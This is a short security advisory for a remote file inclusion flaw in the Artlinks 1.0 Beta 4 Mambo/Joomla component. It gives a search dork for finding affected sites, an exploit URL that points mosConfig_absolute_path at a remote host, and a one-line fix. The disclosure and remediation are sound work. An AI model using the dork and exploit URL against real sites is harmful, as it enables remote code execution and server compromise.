Joomla Artlinks Component <= 1.0b4 Remote Include Vulnerability

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  Affected Application: Artlinks v1.0 Beta 4 

       (Mambo/Joomla CMS Component)
 
 
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  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino[at]sexmagnet[dot]com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [ ]  High [x]
 
  Application: Artlinks
 
  Version: 1.0 Beta 4
 
  Vulnerable File: artlinks.dispnew.php
 
  URL: http://www.duswald.de
 
  Description: It's a component which creates linklists for various 

               categories with a screenshot and description.
 
  Dork: inurl:"com_artlinks"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  http://[sitepath]/[joomlapath]/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://huh?
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open artlinks.dispnew.php
 
  o2.) take a look at line 12:

         require($mosConfig_absolute_path."/administrator/components/

         com_artlinks/config.artlinks.php");
 
  o3.) add the following line before line 12:

         defined( '_VALID_MOS' ) or die( 'Direct Access to this location 

         is not allowed.' );
 
  o4.) done!
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  my girlfriend, brOmstar, ACiDAngel, PoKi, Waze and all the sexy members 

  of insecurity research team ;-)

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